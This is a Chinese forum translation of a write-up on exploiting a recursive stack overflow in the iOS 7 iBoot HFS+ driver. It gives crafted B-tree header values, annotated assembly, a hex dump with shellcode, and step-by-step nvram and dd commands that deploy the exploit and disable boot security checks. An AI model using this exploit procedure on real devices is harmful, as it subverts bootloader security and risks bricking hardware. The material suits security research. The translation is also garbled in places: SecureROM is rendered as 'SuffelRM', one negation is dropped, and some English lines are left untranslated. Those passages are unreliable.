首页
论坛
课程
招聘
[翻译]如何利用 iOS 7 bootchain 中的递归堆栈溢出漏洞
2018-6-16 21:19 5013

[翻译]如何利用 iOS 7 bootchain 中的递归堆栈溢出漏洞

2018-6-16 21:19
5013

目录表

0 - 引言

1 - 研究

1.0 - 谁是谁?
1.1 - ASL拓展
1.2 - 叫我自己的名字
1.3 - 看见未见的

2 - 漏洞利用

2.0 - 躲避子弹
2.1 - 过河拆桥
2.2 - 直捣黄龙
2.3 - 清扫战场
2.4 - 放手一搏

3 - 结论

4 - 引用

5 - 源码


0 -引言

这篇文章旨在阐释如何利用iOS 7 bootchain中的递归栈溢出的bug。无需漏洞利用的前置知识,只需稍微了解一些向下增长小端栈的机器的工作原理和一些ARM汇编的基础知识。不需要特定的硬件(线缆或调试设备)来实现对iBoot的确定性控制。在本文中我们将使用iPhone5,2/11B554a作为示例。

 

有两个看似无关的东西导致了这一漏洞的发现。

  • 其中一个原因是我隐约记得2010年的年中,丰田因为问题固件引发意想不到的加速丑闻而饱受指责。这其中一些错误被认为源自于破坏全局变量的堆栈溢出[1]。

  • 另一件事是Joshua Hill的“破碎的梦”演示,它在第85页有这个”BootROM漏洞利用方法”,提到“递归堆栈溢出”[2]。

-- 1 - 研究

-- 1.0 - 谁是谁?

iPhone的bootchain的一个简短的总结

                NAND/Normal  +------+     +-------+
               ------------> | LLB  | --> | iBoot | --> OS
+-----------+ /              +------+     +-------+
| SecureROM |<
+-----------+ \              +------+     +-------+
               ------------> | iBSS | --> | iBEC  | --> Restore
                USB/DFU      +------+     +-------+

SuffelRM是一小块掩模ROM或者写保护闪存。这是设备重启后第一个运行的东西。

 

LLB是Low Level Bootloader,负责硬件加载和加载主引导程序。

 

iBoot是主引导程序,主引导程序几乎做了你能想到的所有事情:USB、恢复模式,等等。它还处理FS访问,因为它需要从系统分区中读取内核并引导OS。

 

iBSS是LLB的DFU副本。它处理FS访问,因为它需要在升级过程中读取一个特殊的“恢复”分区。

 

实际上,引导逻辑比这更复杂一些,例如iBoot可以回退到恢复模式,它将接受一个IBEC,但我们不关注这一点,因为已经超出本文的范围。

 

由于它们的性质和目的,每个引导加载阶段带来了复杂性的增加。例如:LLB/IBSS不需要了解文件系统,但如上所述,iBoot/iBEC必须这样做。从统计上看,一个组件越复杂,其bug的几率就越高,因此,我们想要f寻找可轻易实现的目标:

-- 1.1 - ASL拓展

首先,我们需要研究我们的目标,这听起来很复杂,但实际上不是。iBoot并不意味着可重定位,它被设计为在其首选的负载地址运行,即,memory_base + memory_size - 1MB,也就是:0x5FF00000 或 0x9FF00000 或 0xBFF00000。这意味着没有IASLR(iBoot地址空间布局没有随机化),这是好事。

 

在一个越狱的手机上iOS已经完全启动之后,我们应尽快dump iBoot。运气好的话,我们会发现iBoot仍然在自己的位置,几乎完好无损。为了dump,我们将使用winocm的ios-kexec-utils(3)工具,下面我们把它叫做kloader和它的小弟弟kdumper。

 

请注意,被dump的镜像与解密的镜像略有不同。好的是,数据在运行时保持不变,显著的例外是这个列表。我们通过对这些列表头进行清理,并基于旧的iBoots(如iPhone 4 iBoot)进行更多的清理工作,因为我们有那些的解密密钥[4 ]。

+------------------+
| ARM reset vector |
|                  |
|       CODE       |
|                  |
+------------------+
|                  |
|       DATA       |
|                  |
| +--------------+ |
| |  btree data  | |
| +--------------+ |
| +--------------+ |
| |  allocator   | |
| |  meta-data   | |
| +--------------+ |
|                  |
+------------------+
|                  |
|       HEAP       |
| +--------------+ |
| |task structure| |
| |--------------| |
| |  task stack  | |
| +--------------+ |
|      stuff       |
| +--------------+ |
| |task structure| |
| |--------------| |
| |  task stack  | |
| +--------------+ |
|      stuff       |
|                  |
+------------------+

我们可以在上面的图中观察到任务堆栈被放置在数据后面,可以推断,破坏这些堆栈中的一个将导致数据损坏。刚开始,只有一个任务运行:引导任务。然后创建一些其他任务,如“idle”和“main”,然后又会产生更多的任务:poweroff, USB等,并运行它们。每个任务都有固定的堆栈大小:0x1C00字节。

 

还有一个简单的调度器管理这些任务,这些任务也执行一些轻量级的完整性检查,比如验证ARM重置向量基地址和创建任务的堆栈基地址。任务调度器是协作的,因此我们可以安全地假设一旦任务运行,它将继续这样做直到一些发生异常,例如IRQ。简而言之,堆栈检查不影响我们,只要task_yield()不在我们堆栈时运行。

 

在多次dump iBoot之后,我们不仅可以看到基地址,而且可以看到它的整个内存布局是完全可预测的,从漏洞利用的角度来看,这可太好了。我们可以找到堆中的代码、数据,甚至各种结构。当然,我们需要关注那些堆栈,这就是我们的目标,对吧?

-- 1.2 - 叫我自己的名字

请记住,递归堆栈溢出并不一定意味着直接递归,一个la函数F()调用它自己。这些都很难被发现,但并不总是有用的。例如,ResolvePathToCatalogEntry()被限制最大深度为64,因此对于这个目的是无用的。
让我们寻找F() -> G() -> ... -> F() 链,因为那些仍然会被算做递归。虽然在大量文件中发现这些有点困难,但是有一些图形算法能帮我们:我们有一个调用图,我们需要在这个调用图中标识“循环”。一个相当简单和有用的算法是Tarjan的强连通分量算法[5]。实际上,SCC可能包含多个循环,但是没关系;实际上,假设SCCs已经足够好了。ONS被正确识别,我们可以运行脚本[6 ]并打印出我们的调用图“循环”。

 

我们在找那些小巧的SCC。就像F()->G()->F(),因为那些容易跟踪。下面这个就不错:

ReadExtent()
    memalign(64)
    ReadExtentsEntry()/ReadBTreeEntry()
        memalign(blockSize)
        ReadExtent()

上面的memalign()调用本身并没有对递归做出贡献,但它们在后面有重要作用 - memalign只是一个奇特的malloc。 另外,请记住,没有太多其他的事发生,这是很好的。

 

一个HFS+的快速入门会让我们更好地了解正在发生的事情。 有关HFS+[7]卷内所有文件和文件夹的信息保存在目录文件中。 目录文件是一个包含记录的B树[8],每个记录最多跟踪文件每个分支的8个范围[9]。 这被称为程度密度。 一旦所有8个扩展区都用完,附加扩展区就会记录在扩展区溢出文件中。 Extents溢出文件是另一个B-tree,它将记录分配给每个扩展文件的分配块。

 

在iBoot中发现的HFS+实现使用相同的ReadExtent()函数来读取目录和扩展溢出范围。我们观察到,如果在读取扩展溢出范围时超出了范围密度,则ReadExtent()将无限递归。

 

请注意:碰巧,一个过时版本的iBoot HFS+驱动程序是公开的[10]。源代码对漏洞利用必要的,但它可能有助于了解一些。

 

好消息:我们在"main"任务中找到了一个递归堆栈溢出,堆栈是高度可预测的。

 

坏消息:它会烧穿堆并且很快击中DATA,而且一旦触发无法阻止。

 

更坏的消息:iBoot堆(和部分数据)将完全失效。

-- 1.3 - 看见未看见的

当时,我只有一个设备易受这个bug的影响,我很担心失去它。只是盲目地拨弄iBoot是愚蠢的,所以我写了一个“iBoot loader”命名为iloader(附在本文中的源代码)。它的目的是在用户态伪造运行iBoot,利用iBoot的运行时内存布局的高度可预测的特性。

 

由于我们在用户态上是伪造的,所以我们必须跳过硬件。现在回想一下,堆栈上分配了任务堆栈,跳过整个代码块可能跳过一些alloc。为了弥补这一点,我们需要确保iloader保持主任务堆栈在iBoot基地址上的正确偏移。我们kloader修改了iBoot,并打印出“主”任务的栈顶例程中的堆栈指针:

SP = BASE + 0x581d4

对齐我们的堆栈,然后需要在创建主任务之前iloader以正确大小调用iBoot分配器一次。
Real iBoot heap: iloader iBoot heap:

|                    |    |                    |
+--------------------+    +--------------------+
| heap block used by |    |                    |
| things we skipped  |    |                    |
+--------------------+    |                    |
+--------------------+    |                    |
| heap block used by |    | dummy allocation   |
| things we skipped  |    | required to align  |
+--------------------+    | the stack pointer  |
+--------------------+    |                    |
| heap block used by |    |                    |
| things we skipped  |    |                    |
+--------------------+    +--------------------+
+--------------------+    +--------------------+
| main task structure|    | main task structure|
+--------------------+    +--------------------+
| main task stack    |    | main task stack    |
+--------------------+    +--------------------+
|                    |    |                    |

-- 2 - 漏洞利用

-- 2.0 - 躲避子弹

在寻找触发漏洞的方法之前,有两件事要做。
考虑:
1。我们必须避免什么?
2。我们应该瞄准什么?

 

回答第1题,是的,在我们的路径上有些东西。还记得那些malloc调用吗?malloc函数使用enter_critical_section()/exit_critical_section()来防止竞争条件。那两个函数执行task::irq_disable_count而且大于999的话就会进入应急模式,触发递归将会清除他的路径上的一切,包括我们的"main"任务,也包括 task::irq_disable_count。所以我们需要确定main_task->irq_disable_count的位置被小于1000的值所重写。
To answer #2, yes there is something that could achieve an arbitrary write.
Remember those malloc calls again? Yeah, it follows that we should target
the allocator metadata. We have to put some values there and coerce the
allocator into an arbitrary write.
回答第2题,是的,有些东西可以实现任意的写入。还记得那些malloc调用吗?对,我们应该以分配器元数据为目标。我们在其中放一些值,并将分配器强制任意写入。
| |
+------------------+
| |
| DATA |
| |
| +--------------+ |
| |btree headers | | <-+ steer the allocator here
| +--------------+ | |
| +--------------+ | |
| | allocator | | --+
| | meta-data | | <-+ land here
| +--------------+ | |
| | |
+------------------+ |
| | |
| HEAP | |
| +--------------+ | |
| |task structure| | | <-- this gets nuked, avoid irq_disable_count
| |--------------| | |
| | task stack | | | <-- this is where we start
| +--------------+ |
| stuff |

 

要想在这些约束下起舞,我们需要确保在非常精确的点上开始递归。我们跨越分配器元数据的确切位置是由每个递归占用多少堆栈空间(在下面的例子中是208个字节)和起始SP。我们需要足够接近来操作分配器,但不能太接近,否则它会恐慌。我们稍后会看到,块“bin”阵列是甜蜜的地方着陆。SP调谐可以通过两种方法实现:

- try both ${boot-path} / ${boot-ramdisk} and choose whichever is best
  as both can be set from within iOS and are preserved across reboots.
  -${boot-path} 和 ${boot-ramdisk}两个都试试,选择哪个是最好的,因为两者都可以从iOS内部设置,并在重新启动时保存。

-ResolvePathToCatalogEntry()下探目录层次结构,并为ReadExtent提供不同的起始SP,但记住它具有最深64的深度限制。
--2.1 - 过河烧桥

iBoot以简单的方式访问文件系统。它在"装载"分区时缓存两个BTree头,然后使用ReadExtent()用于文件读取以及目录扫描。

 

递归可以通过两种方式开始:

- 给根节点设置一个很高的值,或者
- 使用长路径,并且在部分地钻下该路径之后,从索引节点的BTRAGE记录中获取高节点数。

从一个简单的HFS+系统开始,有一个相当平坦的Btree:
trigger
|
v
+------+ +------------+
|HEADER|------>| root block |
+------+ +------------+
| ... |
+--------------+ |
v v
+-----+ +-----+
| | ... | |
+-----+ +-----+

 

上述BTree布局允许我们仅通过根节点触发递归。叶节点不能用于触发延迟递归,因为BTNodeDescriptor::kind在Read ReadBTreeEntry()中被检查,以防我们得到一个具有高编号的当前节点的任意索引节点。
配置示例就像这样:
HFSPlusVolumeHeader::catalogFile.logicalSize = 0xFFFFFE00;
HFSPlusVolumeHeader::extentsFile.logicalSize = 0x3FFC000;
Catalog BTree header:
BTHeaderRec::nodeSize = 512;
BTHeaderRec::totalNodes = 0x7FFFFF;
BTHeaderRec::rootNode = 0x7FFE; // initial trigger
Extents BTree header:
BTHeaderRec::nodeSize = 16384;
BTHeaderRec::totalNodes = 0xFFF;
BTHeaderRec::rootNode = 0x500; // must be big, but LSB must be zero

 

注意:这个Btree头的大部分空间都没有使用,也没有被iBoot检查,所以我们可以使用这个空间来放我们的payload。

 

上述策略虽然简单,却证明是相当不灵活的,因为我们不能调整启动SP太多。如前所述,我们希望使用ResolvePathToCatalogEntry()来为我们修复SP,这意味着在路径处理过程中触发任意点的递归。我们不得不求助于稍微不同的布局:复制根块,更新HFS+头,以在新根开始,并将克隆点内的所有记录都保留到原始根块。这将导致更高的树,但中间层不具有叶约束,但它仍然有效的HFS+(虽然略微浪费)。

               +------------+
          +--->| root copy  |<-- trigger here
          |    +------------+
          |    | ...        |
          |    v            v
+------+  |    +------------+
|HEADER|--+    | root block |
+------+       +------------+
               | ...        |
+--------------+            |
v                           v
+-----+                     +-----+
|     |          ...        |     |
+-----+                     +-----+

和之前的配置不同,我们这次保持BTHeaderRec::rootNode不变,而是在相应的Btree记录中给block设置一个大的值。
PUT_DWORD_BE(block, 116, 0x10000); // see iloader source for reference

 

经过iloader的一尝试和错误后,我们找到了最佳的使用途径是 ${boot-ramdisk}="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"

-- 2.2 - 直捣黄龙

一旦递归将堆栈指针靠近分配器元数据,我们的目标就是让memalign()为我们做任何地方的写入。memalign()有两个主循环,这里简化为:

for_each(bin) {
    block = *bin;
    while (block) {
        if (fits) {
            free_list_remove(this);
            return this;
        }
        block = block->next;
    }
}
panic();

下面是汇编,供参考:

ROM:BFF1A2D0            LDR.W       R8, =0xBFF47C60
ROM:BFF1A2D4            NEGS        R5, R4
ROM:BFF1A2D6            ADD.W       R6, R4, #0x3F
ROM:BFF1A2DA bin_loop:
ROM:BFF1A2DA            ADD.W       R0, R8, R3,LSL#2    ; pick initial bin
ROM:BFF1A2DE            ADD.W       R2, R0, #0x28
ROM:BFF1A2E2
ROM:BFF1A2E2 block_loop:
ROM:BFF1A2E2            LDR         R0, [R2]
ROM:BFF1A2E4            CBZ         R0, bin_next        ; skip zeroes
ROM:BFF1A2E6            LDR         R1, [R0,#4]
ROM:BFF1A2E8            ADDS        R2, R6, R0
ROM:BFF1A2EA            ANDS        R2, R5
ROM:BFF1A2EC            SUB.W       R4, R2, #0x40
ROM:BFF1A2F0            ADD.W       R2, R0, #0x40
ROM:BFF1A2F4            ADD.W       R1, R0, R1,LSL#6
ROM:BFF1A2F8            SUBS        R1, R1, R4
ROM:BFF1A2FA            BLS         block_loop
ROM:BFF1A2FC            CMP         R1, R9
ROM:BFF1A2FE            BCC         block_loop
ROM:BFF1A300            B           free_list_remove    ; R0 is controlled
ROM:BFF1A302 ; ------------------------------------------------------------
ROM:BFF1A302 bin_next:
ROM:BFF1A302            ADDS        R3, #1
ROM:BFF1A304            CMP         R3, #0x20
ROM:BFF1A306            BCC         bin_loop
ROM:BFF1A308 heap_fail:
ROM:BFF1A308            LDR         R0, ="grab_chunk__constrained"
ROM:BFF1A30A            LDR         R1, ="heap overflow"
ROM:BFF1A30C            BL          _panic
ROM:BFF1A310 ; ------------------------------------------------------------
ROM:BFF1A310 free_list_remove:                          ; R0 is controlled
ROM:BFF1A310            LDRD.W      R10, R11, [R0,#0x40]; must be aligned
ROM:BFF1A314            STR.W       R10, [R11]          ; arbitrary write
ROM:BFF1A318            LDR         R1, [R0,#0x40]
ROM:BFF1A31A            CMP         R1, #0
ROM:BFF1A31C            ITT NE
ROM:BFF1A31E            LDRNE       R3, [R0,#0x44]
ROM:BFF1A320            STRNE       R3, [R1,#0x44]      ; trash [R10+0x44]
ROM:BFF1A322            CMP         R4, R0
ROM:BFF1A324            BNE         loc_BFF1A32A        ; avoid this
ROM:BFF1A326            MOV         R4, R0
ROM:BFF1A328            B           return_block        ; clean exit

free_list_remove()提供读/写。为了获得写的权限,我们需要让它从我们的payload中读取——这是方便地放置在HFS+ Btree头中的。每一个递归的堆栈帧都有一个指向bTree头的指针,尽管略微不对齐。

 

理想情况下,我们希望这个指针指向起始点,但是不管我们做了多少SP调整,都不能同步。注意,在执行任何工作之前,循环跳过所有的零点,给我们一些助力,尽管还不够。但是,起始库取决于分配大小。我们必须在memalign(blockSize),而不是memalign(64)在这里加载。原来这是最后一点操作空间:在512和65536的限制范围内调整块大小。不过,避免将块大小提升得太高:在递归过程中,较大的块大小会耗尽堆,因此对它有实际限制。

 

在我们的指针被选中之后,我们几乎可以“驱动”分配器逻辑,并且确保在使用分配器“写入”实现一个写堆栈(以MealIGN的帧为目标,特别是保存的链接寄存器(LR)值)时不会产生惊慌,以便获得PC控制。

 

最后的问题是, free_list_remove()正好要使用一个LDRD指令来读,这就意味着资源已经按照DWORD对齐了,但是我们的指针正好在DWORD+2的位置。为了避免出现错误,在第一次迭代中,我们没有块拟合,切换到一个对齐的地址,然后在第二次迭代中进行拟合。现在我们终于得到了一个任意位置写入,并且我们在memalign的堆栈上定位LR的位置。

 

我们现在希望memalign尽快返回,并尽可能少的副作用。通过仔细安排当前bin的假block中的一些值,现在已经在BTree头中移动了,我们可以跳过memalign逻辑中的所有其他内容,从而得到正确和快速的返回。这一返回将跳到我们选择的位置。由于整个映射是可执行的,所以我们只从Btree头中的某处返回,我们的shellcode就在这儿。

 

下面是在iPhone5,2/11B554a iBoot上iloader的输出:

-8<-------------[ cut here ]------------------
relocating to 0x700000
battery voltage 0 mV
power supply type batt


=======================================
::
:: iBoot for n42ap, Copyright 2013, Apple Inc.
::
::    BUILD_TAG: 756400
::
::    BUILD_STYLE: 7581d4
::
::    USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:00 ECID:0000000000000000 IBFL:03
::
=======================================

Delaying boot for 0 seconds. Hit enter to break into the command prompt...

HFSInitPartition: 0x758600
my_readp(0x758600, 0x747730, 0x400, 512)
my_readp(0x758600, 0x747a54, 0x8800, 256)
my_readp(0x758600, 0x747b54, 0x800, 256)
breakpoint1: a
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8a00, 512)
my_readp(0x758600, 0x758d80, 0x8a00, 512)
breakpoint1: b
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
breakpoint1: c
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
my_readp(0x758600, 0x758d80, 0x8c00, 512)
breakpoint1: d
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
breakpoint1: e
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
my_readp(0x758600, 0x758d80, 0x9000, 512)
breakpoint1: f
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
breakpoint1: g
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
my_readp(0x758600, 0x758d80, 0x9200, 512)
breakpoint1: h
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
breakpoint1: i
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
my_readp(0x758600, 0x758d80, 0x9400, 512)
breakpoint1: j
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
breakpoint1: k
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
my_readp(0x758600, 0x758d80, 0x9600, 512)
breakpoint1: l
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9800, 512)
my_readp(0x758600, 0x758d80, 0x9800, 512)
breakpoint1: m
my_readp(0x758600, 0x758d80, 0x8e00, 512)
my_readp(0x758600, 0x758d80, 0x9a00, 512)
_memalign: sp = 0x747ca8, r8 = 0x747c60, r3 = 0x9, r2 => 0x747cac (0xfffffffc)
_memalign: sp = 0x747ca8, r0 = 0x747b62, r1 = 0x5 (0x747ca2/0xbff47ca2), r2 = 0x747ba8, r3 = 0xc, r4 => (0x747b68/0xbff47b68), r9 = 0x4040 (0x13a)
_memalign: sp = 0x747ca8, r0 = 0x747b68, r1 = 0x101 (0x74bba8/0xbff4bba8), r2 = 0x747ba8, r3 = 0xc, r4 => (0x747b68/0xbff47b68), r9 = 0x4040 (0x4040)
_memalign: sp = 0x747ca8, r8 = 0x747c60
suck sid
battery voltage 0 mV
power supply type batt


=======================================
::
:: iBoot for n42ap, Copyright 2013, Apple Inc.
::
::    BUILD_TAG: 756400
::
::    BUILD_STYLE: 7581d4
::
::    USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:00 ECID:0000000000000000 IBFL:03
::
=======================================

r0  = 0x0074817c r1  = 0x3f106000 r2  = 0x007490c0 r3  = 0x00000000
r4  = 0x00758138 r5  = 0x00000000 r6  = 0x007446c0 r7  = 0x00758130
r8  = 0x00000001 r9  = 0x0074436c r10 = 0x0074437c r11 = 0x00000000
r12 = 0x00000000 sp  = 0x0075812c lr  = 0x0072859b pc  = 0x0071f9e2
cpsr = 0x60000030
handler(11, {11, 0x3f106000}, 0x757fb8)

-8<-------------[ cut here ]------------------

从这个iloader的输出汇编中,我们可以看到当PC指向0xBFF1A2F8时发生了什么。

First iteration:
    R0 = 0xbff47b62
    R1 = 0xbff47ca2 = 0xbff47b62 + (5 << 6)
    R4 = 0xbff47b68 = 0xbff47ba8 - 0x40
    R9 = 0x4040
    R1 = R4 + 0x13a (no fit)
Second iteration:
    R0 = 0xbff47b68
    R1 = 0xbff4bba2 = 0xbff4bb68 + (0x101 << 6)
    R4 = 0xbff47b68 = 0xbff47ba8 - 0x40
    R9 = 0x4040
    R1 = R4 + 0x4040 (exact fit, also R4 == R0)

And this is the memory layout after crossing the allocator's event horizon.
Big-endian multi-byte quantities are shown between [] and little-endian are
shown between {}.

                       +- start of BTree headers (controlled)
                       v
00047A50: 62 7B 74 00 (45 45 45 45  45 45 45 45  45 45 45 45
                +- BTHeaderRec::treeDepth
                |      +- BTHeaderRec::rootNode
                v      v
00047A60: 45 45[00 03][00 00 00 03] 45 45 45 45  45 45 45 45
                       +- BTHeaderRec::nodeSize
                       |            +- BTHeaderRec::totalNodes
                       v            v
00047A70: 45 45 45 45 [02 00]45 45 [00 7F FF FF] FF E4 30 9F
00047A80: E5 00 20 E0  E3 DF AC 22  83 E5 CC F7  F0 80 23 F7
00047A90: 83 E5 84 FF  F0 74 25 83  E5 77 60 26  83 F1 F0 A0
00047AA0: E3 C8 F7 F0  55 D0 F7 F0  D4 F7 F0 E0  F7 F0 E4 F7
00047AB0: F0 55 EC F7  F0 F4 F7 F0  FC F7 F0 00  FF F0 55 04
00047AC0: FF F0 08 FF  F0 0C FF F0  10 FF F0 B5  14 FF F0 18
00047AD0: FF F0 88 20  F0 F0 00 FF  A0 E3 04 00  A2 E5 80 10
00047AE0: FF 9F E5 01  00 52 E1 FA  FF F7 FF 1A  01 0F 00 0C
00047AF0: 22 C3 E5 55  30 FF F0 02  0F 00 D4 FF  F0 64 4F 00
00047B00: F5 34 FF F0  38 7F 01 20  82 E2 6C 52  FF F0 70 37
00047B10: 01 87 00 74  FF F0 78 FF  F0 F5 4C 87  00 A0 3F 01
00047B20: 20 42 E2 B0  AA FF F0 B4  8F 04 B8 FF  F0 BC FF F0
00047B30: 8F FF 2F 82  E2 B0 01 C3  E5 C0 AA C3  00 D4 C3 00
00047B40: F4 07 00 F8  07 00 1E FF  FF 2F E1 00  40 74 00 D8
00047B50: FF 43 74 00  30 45 74 00  34 00 DF 00  46 46 46 46
                       ^
 end of Catalog BTree -+- start of Extents BTree header
                +-------------------------------------------------------+
                |      +- BTHeaderRec::rootNode as big value, but gives |
                |      |  32bit 0x0 when combined with previous 2 bytes |
                |      |  and 32bit 0x5 when combined with next 2 bytes |
                |      |            +-------------------------------+   |
                |      |            |      (nodeSize+64)>>6         |   |
                v      v            v            v                  |   |
00047B60: 46 46{00 00 [00 00-05 00] 00 00}46 46 {01 01 00 00}       |   |
                       +- BTHeaderRec::nodeSize                     |   |
                       |            +- BTHeaderRec::totalNodes      |   |
                       v            v                               |   |
00047B70: 46 46 46 46 [40 00]46 46 [00 00 0F FF] 46 46 46 46        |   |
00047B80: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46        |   |
00047B90: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46        |   |
                                    +- R0 at block match -------+   |   |
                                    |   LR on stack (0x47cc4)   |   |   |
                                    v             v             |   |   |
00047BA0: 46 46{68 7B  74 00}46 46 {B1 7B 74 00}{C4 7C 74 00}   |   |   |
                ^                                               |   |   |
                +- contains aligned pointer (0x47b68) ----------|---+   |
          +- shellcode -----------------------------------------+       |
          v                                                     |       |
00047BB0: DF F8 50 D0  ED F7 3A F8  13 4C 14 48  21 46 14 4A    |       |
00047BC0: EC F7 0A EB  4F F4 10 51  A4 F8 54 1E  11 48 4F F0    |       |
00047BD0: 00 41 21 50  10 48 11 49  21 50 D9 F7  43 FA 00 21    |       |
00047BE0: 41 64 0F 48  FC 21 0F 4A  E0 23 05 46  DD F7 F8 FD    |       |
00047BF0: 0D 48 02 E0 <46 C4 7C 74  00>46 80 47  DA F7 F6 FD    |       |
                       ^             ^                          |       |
                       +- forbidden -+--------------------------+       |
00047C00: A8 47 20 47  00 80 7F 00  00 00 70 00  00 00 70 00            |
00047C10: C0 46 04 00  88 1E 04 00  14 AD 01 00  00 20 18 60            |
00047C20: 00 80 74 00  7C 7A 74 00  B5 73 0F 00  46 46 46 46            |
00047C30: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46            |
00047C40: 46 46 46 46  46 46 46 46  46 46 46 46  46 46 46 46            |
00047C50: 46 46 46 46) 00 64 75 00  00 00 00 00  00 00 00 00            |
                    ^                                                   |
                    +- end of BTree headers (controlled)                |
00047C60: 80 F5 B9 12  02 00 00 00  40 35 75 00  C0 3A 0A 00            |
00047C70: 00 00 00 01  00 00 00 13  00 00 00 00  00 00 00 00            |
                         first bin -+                                   |
                                    v                                   |
00047C80: 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00            |
00047C90: 00 00 00 00  00 00 00 00  00 00 00 00  68 7B 74 00            |
                             stack -+            +- bin for size=16k    |
                                    v            v                      |
00047CA0: C0 7C 74 00  F9 A3 71 00  68 7D 74 00 {00 00 00 00}           |
00047CB0: 00 00 00 00  00 00 00 00 {62 7B 74 00} 00 05 00 00            |
                                    ^                                   |
              first non-zero "bin" -+- points into BTree header (0x47b62)
  LR address on stack -+
                       v
00047CC0: 28 7D 74 00 {B1 7B 74 00} 00 00 00 00  00 00 00 00
00047CD0: 00 00 00 00  00 00 00 00  80 1C 46 01  00 00 00 00
00047CE0: 00 00 00 00  03 00 00 00  00 78 74 00  00 C0 FF 03
00047CF0: 00 00 00 00  01 00 00 00  00 40 00 00  00 00 00 00
00047D00: 10 7D 74 00  40 1C 46 01  28 7D 74 00  0B A4 71 00
00047D10: 80 1C 46 01  40 00 00 00  00 00 00 00  00 00 00 00
00047D20: 08 00 00 00  40 78 74 00  90 7D 74 00  81 92 71 00
00047D30: 00 00 00 00  00 00 00 00  00 00 00 00  00 40 40 01
00047D40: 00 78 74 00  00 00 00 00  00 00 00 00  00 00 00 00
00047D50: 00 DC 45 01  00 00 40 01  00 00 00 00  03 00 00 00
00047D60: 01 00 00 00  00 A0 00 00  00 00 00 00  03 00 00 00
00047D70: 40 00 00 00  44 52 41 47  38 7E 74 00  00 00 00 00
                       ^
                       +- some stack cookie lol
-- 2.3 - 清扫战场

因为我们已经控制了pc,最后一个问题就是怎么修复,iBoot堆完全被彻底删除,整个任务被垃圾覆盖。然而,DATA大部分幸存下来,除了较高的端部,分配器结构就在这个地方。无论是哪种方式,最好的做法是在内存中修补相关的安全检查,就像我们对dump做的一样,并完全重新启动iBoot,因为它将重新初始化BSS和堆。

 

为了清理DATA,我们将一小段代码存入BTree头,其目的是执行清理,起一个合适的名字“nettoyeur”。为了节省空间,我们实际上有一个压缩的nettoyeur,因为iBoot总会提供了一个lzss解压缩例程。

 

总结起来,顺序是这样的:

触发漏洞利用代码
控制pc
移动到sp
禁用解释器
应用补丁,禁用自动引导,等等
解压nettoyeur
静默安装
运行nettoyeur
跳转到iBoot中起始点然后运行

我们最后处于iBoot的控制台,所有的安全检查已经禁用, GID AES key还能用。

-- 2.4 - 放手一搏

到目前为止,所有的东西都可以在一个ARM CPU上运行的iloader上进行尝试和测试。你会看到成功消息“suck sid”,然后iBoot重新启动,然后最终在恢复模式崩溃,因为有些iloader不支持的东西。

 

最后的非破坏性测试可以在进行真正的事情之前进行:

复制ramdiskF.dmg /

在系统分区中查找ramdisk.dmg,通过FAKEFAKFAKEFAY模式的正则匹配/dev/rdisk0s1s1,从偏移量中减去0x13800

 拿到已经dump的iBoot镜像,然后在那个偏移量上给ReadP()函数打补丁

kloader这个iBoot, 如果一切正常,就会重启。

一旦处理了每一个小细节,我们就开始攻击真正的bootchain。记住,设备必须是越狱,这已经是dump的先决条件。它还必须运行我们正在瞄准的iBoot的精确版本。

 

在下面的例子中,${boot-ramdisk}在iPhone5,2/11B554a上可以执行
假乳iBEC没有公钥,我们只能这么做:
. have the jailbreak untether leave System partition read-only
让越狱离开系统分区只读
. 重启
. ssh登录到这台设备
. nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"
. dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1
. dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1
. 重启
. 祈祷

 

一旦我们获得了iBEC的解密key,还有一个更安全的方法:

. have the jailbreak untether leave System partition read-only
. 重启
. dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1
. use kextloader to run a decrypted and pwned iBEC
. once in iBEC, upload dtre/rdsk/krnl and bootx
. ssh into the ramdisk
. nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg"
. dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1
.重启

当设备重新启动时,您会注意到启动标志闪烁(即漏洞利用代码重新启动IBoot),然后进入恢复控制台。我们现在可以用irecovery[12]连接它:

irecovery -s

要想退出这种模式,我们要这样做:
. in the pwned Recovery, upload a pwned iBEC and jump to it
. once in iBEC, upload dtre/rdsk/krnl and bootx
. ssh into the ramdisk
. dd of=/dev/rdisk0s1s1 if=backup bs=512k count=1
. nvram -d boot-ramdisk
. reboot

 

